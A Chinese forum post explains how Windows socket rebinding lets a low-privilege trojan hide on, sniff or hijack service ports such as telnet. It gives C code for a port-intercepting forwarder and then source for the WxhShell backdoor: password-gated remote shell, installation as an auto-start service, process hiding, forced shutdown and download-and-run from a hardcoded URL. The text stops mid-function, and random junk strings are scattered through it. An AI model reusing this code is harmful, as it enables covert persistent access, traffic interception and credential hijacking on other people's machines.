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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Q-kD?PO,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >eWHPO  
.'L@$]!G  
  saddr.sin_family = AF_INET; 6(<M.U_ft  
b?h"a<7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r6*0H/*  
i,$*+2Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d+ql@e]  
/$/\$f$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OB;AgE@  
LtXFGPQf  
  这意味着什么?意味着可以进行如下的攻击: V~NS<!+q  
8{epy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fW <qp  
7?Xfge%\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e9o(hL  
Cq}LKiu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "<txg%j\J  
_N.ZpKVu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hXmW,+1  
rnEWTk7&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :M'3U g$t  
y~]>J^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L#m1!+J  
Nr uXXd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <+ >y GPp  
j""u:l^+x  
  #include &AoXv`l4  
  #include . m@Sk`s  
  #include !sK{:6s  
  #include    5lVDYmh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A ElNf:  
  int main() .y#@~H($  
  { p@YU7_sF^!  
  WORD wVersionRequested; GwxfnC Ki9  
  DWORD ret; _u]Wr%D@  
  WSADATA wsaData; ` ~VV1  
  BOOL val; HwiG~'Ah9  
  SOCKADDR_IN saddr; YDz:;Sp\  
  SOCKADDR_IN scaddr; sj0Hv d9  
  int err; AL3zE=BL  
  SOCKET s; {[NBTT9&  
  SOCKET sc; pR; AqDQ  
  int caddsize; s@K|zOx  
  HANDLE mt; ko=vK%E[  
  DWORD tid;   OqHD=D[  
  wVersionRequested = MAKEWORD( 2, 2 ); {6 C!^ 5  
  err = WSAStartup( wVersionRequested, &wsaData ); _LCK|H%v'  
  if ( err != 0 ) { BQ2DQ7q  
  printf("error!WSAStartup failed!\n"); -jFvDf,M,D  
  return -1; }9:d(B9;  
  } G# .z((Rj  
  saddr.sin_family = AF_INET; cQA;Y!Q #  
   k`'^e/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .ie\3q)  
Xj.6A,}^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qMmh2a&  
  saddr.sin_port = htons(23); yI)~- E.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O F2*zU7M  
  { 3K_J"B*7  
  printf("error!socket failed!\n"); Vj2]-]Cm  
  return -1; (wo.OH  
  } |9@?8\   
  val = TRUE; >#)^4-e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !QSL8v@c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jx.Jx~  
  { "tn]s>iAd=  
  printf("error!setsockopt failed!\n"); E&7U |$  
  return -1; 9]xOu Cb  
  } tF O27z@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wHEt;rc(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ![0\m2~iv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OLXG0@  
,1a6u3f,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K\,)9:`t  
  { dE%rQE7'  
  ret=GetLastError(); ?WKFDL'_0j  
  printf("error!bind failed!\n"); L^Fni~  
  return -1; =j#uH`jgW  
  } j[F\f>  
  listen(s,2); LeF Z%y)F  
  while(1) +j%!RS$ko  
  { +A>>Ak|s  
  caddsize = sizeof(scaddr); jL<:N 8  
  //接受连接请求 ?<%GY dus  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B#OnooJI  
  if(sc!=INVALID_SOCKET) &l/2[>D%4  
  { %}J[EV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XBh0=E?qiS  
  if(mt==NULL) h'|{@X  
  { 2ed$5.D  
  printf("Thread Creat Failed!\n"); p$`71w)'[  
  break; [sy~i{Bm  
  } 0L S,(v4  
  } 5N@k9x  
  CloseHandle(mt); F;kY5+a7~e  
  } NhU~'k  
  closesocket(s); h.l^f>, /  
  WSACleanup(); [U5[;BNRD  
  return 0; |k\4\a Lj  
  }   _)"-zbh}{  
  DWORD WINAPI ClientThread(LPVOID lpParam) SDwTGQ/0  
  { ^KM' O8  
  SOCKET ss = (SOCKET)lpParam; wDVKp['  
  SOCKET sc; &CpxD."8x  
  unsigned char buf[4096]; G%jgr"]\z  
  SOCKADDR_IN saddr; Hbn%CdDk1  
  long num; "jb`KBH%"  
  DWORD val; M%92 ^;|`  
  DWORD ret; #^|y0:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nj rF":'Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @n"7L2wY  
  saddr.sin_family = AF_INET; m9o{y6_j*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o^&u?F9  
  saddr.sin_port = htons(23); -GCC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MxQhkY-=  
  { Ye% e!  
  printf("error!socket failed!\n"); ikX"f?Q;S2  
  return -1; {p[{5k 0  
  } 9~n`6;R  
  val = 100;  sC1Mwx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eyUguA<lK\  
  { N?hQ53#3  
  ret = GetLastError(); *?x$q/a  
  return -1; zl^ %x1G  
  } &kUEnwQ -  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) duFVh8  
  { =PYfk6j9  
  ret = GetLastError(); = .a}  
  return -1; RtO3!dGT.  
  } +pXYBwH 7Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |;sL*Vr  
  { f>!)y-7  
  printf("error!socket connect failed!\n"); c<bV3,  
  closesocket(sc); U*(/eEtd-  
  closesocket(ss); >HNBTc=~t  
  return -1; u atY:GSR  
  } )eIC5>#.  
  while(1) `@TWZ%f6  
  { d9e_slx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kh&W\\K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v3O+ ;4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7^)8DwAl  
  num = recv(ss,buf,4096,0); -<H\VT%98  
  if(num>0)  bi/ AQ^  
  send(sc,buf,num,0); FnxPM`Zx  
  else if(num==0) cq+G0F+H  
  break; diHK  
  num = recv(sc,buf,4096,0); HVjN<HIqM  
  if(num>0) Pt5"q3ec{T  
  send(ss,buf,num,0); A0X'|4I  
  else if(num==0) mh#NmW>n  
  break; 6Cw+  
  } J>Pc@,y  
  closesocket(ss); PL} Wu=  
  closesocket(sc); _E'F   
  return 0 ; 6<1 2j7  
  } /Js A[}.6  
>x?x3#SX  
J;HYGu:  
========================================================== I\e/ Bv^  
=r|e]4  
下边附上一个代码,,WXhSHELL idsBw!DB  
)|3BS`  
========================================================== B|d-3\sn  
Ig&H0S  
#include "stdafx.h" WbJ|]}hJ\  
lCafsIB  
#include <stdio.h> `A\,$(q+  
#include <string.h> I+2#k\y  
#include <windows.h> #zmt x0  
#include <winsock2.h> H=lzW_(  
#include <winsvc.h> ?vt#M^Q   
#include <urlmon.h> T*o!#E.  
=&T%Jm}  
#pragma comment (lib, "Ws2_32.lib") (A(j.[4a  
#pragma comment (lib, "urlmon.lib") s.|OdC>U =  
ly[j=vBV  
#define MAX_USER   100 // 最大客户端连接数 {%wF*?gk  
#define BUF_SOCK   200 // sock buffer =hRo#]{(K  
#define KEY_BUFF   255 // 输入 buffer %_Q+@9  
[}$jO,H5r  
#define REBOOT     0   // 重启 tJ Bj9{  
#define SHUTDOWN   1   // 关机 ej91)3AO  
j]HzI{7y  
#define DEF_PORT   5000 // 监听端口 AQ%B&Q(V1  
K g6hySb  
#define REG_LEN     16   // 注册表键长度 l bs0i  
#define SVC_LEN     80   // NT服务名长度 Xwp6]lx  
hGU  m7  
// 从dll定义API *kY JwO^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1;v,rs M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L|hELWru  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '4KN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8:t!m>(*  
c,CcKy;+  
// wxhshell配置信息 <)$&V*\  
struct WSCFG { NF "|*S  
  int ws_port;         // 监听端口 []lMv ZW  
  char ws_passstr[REG_LEN]; // 口令 X9 N4  
  int ws_autoins;       // 安装标记, 1=yes 0=no knfEbH  
  char ws_regname[REG_LEN]; // 注册表键名 MJ"@  
  char ws_svcname[REG_LEN]; // 服务名 %$D n);6=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VLPPEV-u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b>h L*9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q~R%|Q{&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tm1#Lh0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vh"wXu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Q7|2{  
z:^ (#G{  
}; 8n/8uRIR  
lVv'_9yg  
// default Wxhshell configuration YsO3( HS  
struct WSCFG wscfg={DEF_PORT, |.*nq  
    "xuhuanlingzhe", GIb,y,PDB  
    1, ARUzEo gcf  
    "Wxhshell", ]z O6ESH  
    "Wxhshell", ;fW`#aE  
            "WxhShell Service", #V{!|Y'  
    "Wrsky Windows CmdShell Service", M!YGv   
    "Please Input Your Password: ", bMq)[8,N  
  1, 15z(hzU?#  
  "http://www.wrsky.com/wxhshell.exe", IayF<y,8  
  "Wxhshell.exe" !'eh@BU;  
    }; S5BS![-QK  
d>gQgQ;g  
// 消息定义模块 r>#4Sr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; frokl5L@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IG.!M@_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HTLS$o;Q  
char *msg_ws_ext="\n\rExit."; 0"}=A,o(w  
char *msg_ws_end="\n\rQuit."; 1l5'N=hL  
char *msg_ws_boot="\n\rReboot..."; +H:}1sT;n  
char *msg_ws_poff="\n\rShutdown..."; l(Ya,/4  
char *msg_ws_down="\n\rSave to "; (: P#l&f  
A("\m>g$b  
char *msg_ws_err="\n\rErr!"; }<qZXb1  
char *msg_ws_ok="\n\rOK!"; ;Q8`5h   
i>7]9gBm1q  
char ExeFile[MAX_PATH]; X2|&\G9c  
int nUser = 0; \3&1iA9=)  
HANDLE handles[MAX_USER]; tdHeZv  
int OsIsNt; iCJXV'  
5dX /<  
SERVICE_STATUS       serviceStatus; x4i&;SP0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bz(L}V]\k  
$."D OZQ3U  
// 函数声明 ekW#|  
int Install(void); m*wDJEKo  
int Uninstall(void); T[evh]koB  
int DownloadFile(char *sURL, SOCKET wsh); 2:@,~{`#*  
int Boot(int flag); OI_Px3) y  
void HideProc(void); Co,?<v=Ll  
int GetOsVer(void); -mP2}BNM  
int Wxhshell(SOCKET wsl); P~#LbUP(  
void TalkWithClient(void *cs); b0sj0w/  
int CmdShell(SOCKET sock); d\R "?Sg  
int StartFromService(void); "/G] M&  
int StartWxhshell(LPSTR lpCmdLine); K]1| #`n  
b")O#v.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Ede5Vg!!2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N1}r%!jk/  
)(OGo`4Qz  
// 数据结构和表定义 8=@f lK  
SERVICE_TABLE_ENTRY DispatchTable[] = NFyV02.  
{ 4k9$' k  
{wscfg.ws_svcname, NTServiceMain}, p"7]zq]'  
{NULL, NULL} n/Dg)n?  
}; e,xJ%f  
t7yvd7  
// 自我安装 Py?e+[cN  
int Install(void) i=R%MH+  
{ K8/jfm  
  char svExeFile[MAX_PATH]; E9b>wP  
  HKEY key; Y(] W+k<  
  strcpy(svExeFile,ExeFile); #)#J`s1R  
X(O:y^sX}  
// 如果是win9x系统,修改注册表设为自启动 T_q M@/f  
if(!OsIsNt) { ]4/C19Fe!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IB$i ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c'XSs  
  RegCloseKey(key); xU2i&il^!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jz4;7/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); odDVdVx0  
  RegCloseKey(key); 8>G5VhCm~o  
  return 0; ex#-,;T  
    } beBv|kI4  
  } ^;K"Y'f$  
} D^xg2D  
else { P1z:L  
QL @SE@"  
// 如果是NT以上系统,安装为系统服务 &lID6{79Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Em4'b1mDX%  
if (schSCManager!=0) H ?eG5  
{  #]QS   
  SC_HANDLE schService = CreateService Q8A+\LR~)  
  ( }+}Cl T  
  schSCManager, Ga+Cb2$  
  wscfg.ws_svcname, Z<W f/  
  wscfg.ws_svcdisp, ;s#I b_  
  SERVICE_ALL_ACCESS, CfO{KiM(2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P'SGt  
  SERVICE_AUTO_START, -aLM*nIoe  
  SERVICE_ERROR_NORMAL, fu{v(^  
  svExeFile, PZvc4  
  NULL, AHMvh 7O?  
  NULL, KYyoN  
  NULL, Q@|"xKa  
  NULL, r"7 PSJ  
  NULL tJ* /5k &  
  ); Q E pCU)  
  if (schService!=0) {3SK|J`  
  { Q,:h`%V  
  CloseServiceHandle(schService); elR1NhB|p  
  CloseServiceHandle(schSCManager); ?&!!(dWFH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ++UxzUd  
  strcat(svExeFile,wscfg.ws_svcname); FRL;fF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t\]kVo)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'SXLnoeTa  
  RegCloseKey(key); ;1s;"  
  return 0; ]<ay_w;  
    } I?nU+t;  
  } tKeozV[V  
  CloseServiceHandle(schSCManager); -7XaS&.4  
} m<LzgX  
} `gF ]  
xXnSo0`L F  
return 1; (#x&Y#5  
} Pqj\vdzx  
nET<u;  
// 自我卸载 Bio QV47B  
int Uninstall(void) 3 g:P>(  
{ *NM*   
  HKEY key; t|9vb  
\II^&xSF  
if(!OsIsNt) { NG RXNh+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~[kI! [  
  RegDeleteValue(key,wscfg.ws_regname); d|`8\fq  
  RegCloseKey(key); [h_d1\ Cr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /cVZ/"  
  RegDeleteValue(key,wscfg.ws_regname); vR pO0qG  
  RegCloseKey(key); i+Mg[x$.  
  return 0; g~(G P  
  } qG2P?DR  
} e|>@ >F]K  
} 9. ,IqnP  
else { 3g56[;Up?  
KZ1m 2R}'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *v: .]_;  
if (schSCManager!=0) r[^O 7  
{ N/b$S@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~eS/gF?  
  if (schService!=0) a2]>R<M  
  { tkff\W[JU  
  if(DeleteService(schService)!=0) {  R7;X  
  CloseServiceHandle(schService); /!.]Y8yEH  
  CloseServiceHandle(schSCManager); EP90E^v^  
  return 0; Nx+5rp  
  }  XF>!~D  
  CloseServiceHandle(schService); 5Q:49S47  
  } >]A#_p  
  CloseServiceHandle(schSCManager); X)= m4\R  
} :c Er{U8  
} jwuSne  
{9) HB:  
return 1; {%RwZ'  
} DGw*BN%`  
}IdkXAB.  
// 从指定url下载文件 * bhb=~  
int DownloadFile(char *sURL, SOCKET wsh) [jxh$}?P  
{ ]GsI|se  
  HRESULT hr; G)f!AuN=  
char seps[]= "/"; !aJ6Uf%R  
char *token; G8MLg#  
char *file; Zlt,Us`  
char myURL[MAX_PATH]; iSfRo 31  
char myFILE[MAX_PATH]; |oePB<N  
\@T;/Pj{[  
strcpy(myURL,sURL); sPl3JP&s  
  token=strtok(myURL,seps); {qU;>;(  
  while(token!=NULL) h0A%KL  
  { &" 5Yt&{  
    file=token; d/@P;YN!  
  token=strtok(NULL,seps); ?5^DQ|Hg ^  
  } s$lJJL  
cxFyN ;7  
GetCurrentDirectory(MAX_PATH,myFILE); 6\v4#  
strcat(myFILE, "\\"); )T&r770  
strcat(myFILE, file); 2z AxGX  
  send(wsh,myFILE,strlen(myFILE),0); ;!7M<T$&  
send(wsh,"...",3,0); I>6zX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m;TekJXm  
  if(hr==S_OK) W&[-QM8  
return 0; 5{IbKj|  
else RSw; b.t7  
return 1; k! x`cp  
aWP9i &  
} M"msLz  
<(xro/  
// 系统电源模块 'F:Tv[qx  
int Boot(int flag) gNkBHwv  
{ w4&\-S#  
  HANDLE hToken; ?%D nIl>  
  TOKEN_PRIVILEGES tkp; Z^%HDB9^  
dQAF;L  
  if(OsIsNt) { {Q`Q2'@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QF22_D<.}J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0HQTe>!  
    tkp.PrivilegeCount = 1; b&d4(dk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )(c%QWz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |TF6&$>d  
if(flag==REBOOT) { -q nOq[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cFq2 6(e  
  return 0; \JCpwNT{P  
}  H =&K_  
else { V^>< =DNE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hq?dqg'%~  
  return 0; g:6 `1C  
} HV]u9nrt#  
  } u?>8`]r  
  else { 64<*\z_  
if(flag==REBOOT) { q$`>[&I~)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3;!!`R>e  
  return 0; MOi1+`kwh  
} :2XX~|  
else { sv#b5,>9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tbfwgK  
  return 0; Gq%,'am f  
} N0ef5J JM`  
} :KGPQ@:O  
Bo'v!bI7  
return 1; 5aXE^.`  
} +=nWB=iCb  
` 7?EE1o  
// win9x进程隐藏模块 Q~rE+?n9 F  
void HideProc(void) 41Ab,  
{ m6A\R KJ'  
6 .[3N~pq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;hEeFJ=/G  
  if ( hKernel != NULL ) !-&;t7R  
  { >9yy91H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); glBS|b$\:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R:f ,g2  
    FreeLibrary(hKernel); :oiHf:  
  } %&s4YD/{  
{K:] dO  
return; 2 i NZz  
} K `A8N  
X/m~^  
// 获取操作系统版本 ^f,%dM=i=  
int GetOsVer(void) Blj<|\ igc  
{ 1xO-tIp/  
  OSVERSIONINFO winfo; `lt[Q>Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : JSuC  
  GetVersionEx(&winfo); kE[R9RS!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WYkh'sv >  
  return 1; PY&mLux%  
  else m3&b)O7  
  return 0; g8" H{u  
} n?9FJOqi  
d'b9.ki\  
// 客户端句柄模块 Az:A,;~+,!  
int Wxhshell(SOCKET wsl) 8q:# '  
{ :sA UV79M  
  SOCKET wsh; A8:eA  
  struct sockaddr_in client; VssWtL  
  DWORD myID; K}'?#a(aX=  
#qK5i1<  
  while(nUser<MAX_USER) \: B))y?}d  
{ Q5sJ|]Bc  
  int nSize=sizeof(client); yW"[}L h4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); azO7C*_  
  if(wsh==INVALID_SOCKET) return 1; *55unc  
n8`WU3&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D#^euNiWd  
if(handles[nUser]==0) u*rHKZ9i  
  closesocket(wsh); d"Zyc(Jk  
else c: (nlYZ   
  nUser++; #]Jg>  
  } ^uPg71r:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dfZ`M^NU  
s .+`"rK  
  return 0; v I,T1%llu  
} Wr'1Y7z  
tZu1jBO_Q4  
// 关闭 socket i)$<j!L  
void CloseIt(SOCKET wsh) Wv ~&Qh}  
{ x@[6u  
closesocket(wsh); Lg|d[*;'7  
nUser--; /w2-Pgm-[\  
ExitThread(0); ,lFp4 C  
} m1xR uj]  
'u d[#@2  
// 客户端请求句柄 QbY@{"" `  
void TalkWithClient(void *cs) FPM l;0{  
{ Iv*u#]{t  
wzBI<0]z  
  SOCKET wsh=(SOCKET)cs; 9`M7 -{  
  char pwd[SVC_LEN]; sa"}9IE*8  
  char cmd[KEY_BUFF]; \0&F'V  
char chr[1]; Sl@Ucc31  
int i,j; z<.?8bd  
)lq+Gv[%F  
  while (nUser < MAX_USER) { q1m{G1W n  
^`Hb7A(  
if(wscfg.ws_passstr) { aK 3'u   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #7/39zTK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ds#BfP7a  
  //ZeroMemory(pwd,KEY_BUFF); ,J:Ro N_:  
      i=0; q>5j (,6F  
  while(i<SVC_LEN) { cS Qb3}a\  
aK 7 }}  
  // 设置超时 !%.=35NS@E  
  fd_set FdRead; i6g=fx6j*  
  struct timeval TimeOut; iq,rS"  
  FD_ZERO(&FdRead); <Y$( l szT  
  FD_SET(wsh,&FdRead); `PSjk F(  
  TimeOut.tv_sec=8; Xg* ](>/\,  
  TimeOut.tv_usec=0; V)vik  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8IE^u<H(:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Y>E  
E>`|?DE@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j0s$}FPUI  
  pwd=chr[0]; o^m?w0 \  
  if(chr[0]==0xd || chr[0]==0xa) { 5G$5d:[(  
  pwd=0; !e*T. 1Kz  
  break; n|KYcU#  
  } U.JE \/  
  i++; i83[':  
    } Q|e-)FS)  
90K&oof?M  
  // 如果是非法用户,关闭 socket nd7g8P9p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a,r B7aD  
} w4M;e;8m[U  
p<,`l)o}~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TwI'XMO;A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +_+j"BT  
g4952u  
while(1) { =itQ@ ``r  
/ :6|)AW.{  
  ZeroMemory(cmd,KEY_BUFF); %%zlqd"0  
e[0"x. gu  
      // 自动支持客户端 telnet标准   `csZ*$7  
  j=0; ga(k2Q;y  
  while(j<KEY_BUFF) { < fV][W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yc`*zLWh  
  cmd[j]=chr[0]; q6<P\CSHy<  
  if(chr[0]==0xa || chr[0]==0xd) { P,F eF'J^  
  cmd[j]=0; -4P `:bF  
  break; o{^`Y   
  } KHgn  
  j++; * ^V?u  
    } 5;,h8vW  
"/mt uU3rt  
  // 下载文件 O?cU6u;W  
  if(strstr(cmd,"http://")) { S>S7\b'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?_cOU@n  
  if(DownloadFile(cmd,wsh)) lk[Y6yE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]vP}K   
  else ~"NuYM#@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); To5hVL<Ex"  
  } Z*Gf`d:  
  else { z?( b|v  
x0:BxRx*  
    switch(cmd[0]) { ra>2<  
  -e sQyLx  
  // 帮助 -6~.;M 5  
  case '?': { WqF$-rBJG^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =0!j"z=  
    break; RZ;s_16GQ  
  } Poa&htxe1  
  // 安装 py+\e" s  
  case 'i': { y@I t#!u0  
    if(Install()) / *PHX@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?/:p.  
    else P^48]Kj7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 )r L<+  
    break; _53~D=  
    } ??U/Qi180  
  // 卸载 \"Y,1in#  
  case 'r': { RjVmHhX  
    if(Uninstall()) |_>^vW1f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=V'pML  
    else x!\q69ndv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~BX=n9  
    break; [/%N2mj  
    } e}S+1G6r)  
  // 显示 wxhshell 所在路径 f'H|K+bO  
  case 'p': { >]z^.U7=  
    char svExeFile[MAX_PATH]; d7 H*F  
    strcpy(svExeFile,"\n\r"); /XEW]/4  
      strcat(svExeFile,ExeFile); JXYZ5&[  
        send(wsh,svExeFile,strlen(svExeFile),0); > pP&/  
    break; "=T &SY  
    } d Rnf  
  // 重启 XWyP'\  
  case 'b': { _lFw1pa#\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l $"hhI8  
    if(Boot(REBOOT)) $2?j2}M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fe,6YXUf  
    else { =I)43ah d  
    closesocket(wsh); \6JOBR  
    ExitThread(0); x|(pmqIH+  
    } \ "$$c  
    break; )<:TpMdUk  
    } .\glNH1d  
  // 关机 T9H*]LxK  
  case 'd': { L/V^#$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -p.\fvip  
    if(Boot(SHUTDOWN)) ZcQu9XDIt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); va'F '|  
